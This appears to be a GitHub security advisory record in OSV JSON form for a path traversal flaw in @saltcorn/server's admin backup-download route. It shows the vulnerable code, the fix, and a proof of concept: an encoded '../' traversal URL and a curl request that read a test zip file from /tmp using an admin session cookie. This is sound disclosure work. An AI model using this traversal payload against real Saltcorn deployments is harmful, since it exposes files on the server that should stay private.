{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0-beta.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@saltcorn/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0-beta.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-03T19:46:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to `res.download` API.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682\n\n```js\nrouter.get(\n  \"/auto-backup-download/:filename\",\n  isAdmin,\n  error_catcher(async (req, res) =\u003e {\n    const { filename } = req.params; // [1] source\n    [...]\n    if (\n      !isRoot ||\n      !(filename.startsWith(backup_file_prefix) \u0026\u0026 filename.endsWith(\".zip\")) // [2]\n    ) {\n      res.redirect(\"/admin/backup\");\n      return;\n    }\n    const auto_backup_directory = getState().getConfig(\"auto_backup_directory\");\n    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink\n  })\n);\n```\n\n### Steps to reproduce (PoC)\n\n- create a file with `.zip` extension under `/tmp` folder:\n```\necho \"secret12345\" \u003e /tmp/secret.zip\n```\n- log into the application as an admin user\n- visit the url   `http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip`\n- download the zip file and then check if the zip was indeed downloaded:\n```bash\ncat secret.zip\nsecret12345\n```\n\n \n- Alternatively send the following request to retrieve the file just created.\n```bash\ncurl -i -X $\u0027GET\u0027 \\\n    -H $\u0027Host: localhost:3000\u0027 \\\n    -H $\u0027Connection: close\u0027 \\\n    -b $\u0027connect.sid=VALID_CONNECT_SID_COOKIE\u0027 \\\n    $\u0027http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip\u0027\n```\n\n**NOTE**:\nTo obtain a valid `connect.sid` cookie, just open the developer console while logged and retrieve the cookie value.\n\n### Impact\n\nArbitrary zip files download (information disclosure).\n\n### Recommended Mitigation\n\nResolve the `filename` parameter before checking if it starts with `backup_file_prefix` .",
  "id": "GHSA-277h-px4m-62q8",
  "modified": "2024-10-03T19:46:12Z",
  "published": "2024-10-03T19:46:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-277h-px4m-62q8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saltcorn/saltcorn/commit/024f19a7e079913f62f4a2335ab04116ddb68192"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/saltcorn/saltcorn"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@saltcorn/server arbitrary file zip read and download when downloading auto backups"
}